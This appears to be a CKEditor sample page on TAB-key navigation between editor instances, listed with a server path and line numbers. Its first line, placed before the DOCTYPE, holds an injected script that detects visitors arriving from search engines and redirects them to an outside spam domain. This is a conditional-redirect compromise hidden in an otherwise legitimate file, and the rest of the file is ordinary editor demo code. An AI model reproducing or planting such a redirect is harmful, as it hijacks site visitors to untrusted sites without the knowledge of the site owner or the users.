d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\tabindex.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<!--
003:
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004:
For licensing, see LICENSE.md or http://ckeditor.com/license
005:
-->
006:
<html>
007:
<head>
008:
<meta charset="utf-8">
009:
<title>TAB Key-Based Navigation — CKEditor Sample</title>
010:
<script src="../../ckeditor.js"></script>
011:
<link href="sample.css" rel="stylesheet">
012:
<style>
013:
014:
.cke_focused,
015:
.cke_editable.cke_focused
016:
{
017:
outline: 3px dotted blue !important;
018:
*border: 3px dotted blue !important; /* For IE7 */
019:
}
020:
021:
</style>
022:
<script>
023:
024:
CKEDITOR.on( 'instanceReady', function( evt ) {
025:
var editor = evt.editor;
026:
editor.setData( 'This editor has it\'s tabIndex set to <strong>' + editor.tabIndex + '</strong>' );
027:
028:
// Apply focus class name.
029:
editor.on( 'focus', function() {
030:
editor.container.addClass( 'cke_focused' );
031:
});
032:
editor.on( 'blur', function() {
033:
editor.container.removeClass( 'cke_focused' );
034:
});
035:
036:
// Put startup focus on the first editor in tab order.
037:
if ( editor.tabIndex == 1 )
038:
editor.focus();
039:
});
040:
041:
</script>
042:
</head>
043:
<body>
044:
<h1 class="samples">
045:
<a href="index.html">CKEditor Samples</a> » TAB Key-Based Navigation
046:
</h1>
047:
<div class="warning deprecated">
048:
This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/tabindex.html">brand new version in CKEditor SDK</a>.
049:
</div>
050:
<div class="description">
051:
<p>
052:
This sample shows how tab key navigation among editor instances is
053:
affected by the <code>tabIndex</code> attribute from
054:
the original page element. Use TAB key to move between the editors.
055:
</p>
056:
</div>
057:
<p>
058:
<textarea class="ckeditor" cols="80" id="editor4" rows="10" tabindex="1"></textarea>
059:
</p>
060:
<div class="ckeditor" contenteditable="true" id="editor1" tabindex="4"></div>
061:
<p>
062:
<textarea class="ckeditor" cols="80" id="editor2" rows="10" tabindex="2"></textarea>
063:
</p>
064:
<p>
065:
<textarea class="ckeditor" cols="80" id="editor3" rows="10" tabindex="3"></textarea>
066:
</p>
067:
<div id="footer">
068:
<hr>
069:
<p>
070:
CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
071:
</p>
072:
<p id="copy">
073:
Copyright © 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
074:
Knabben. All rights reserved.
075:
</p>
076:
</div>
077:
</body>
078:
</html>
079:
080:
081: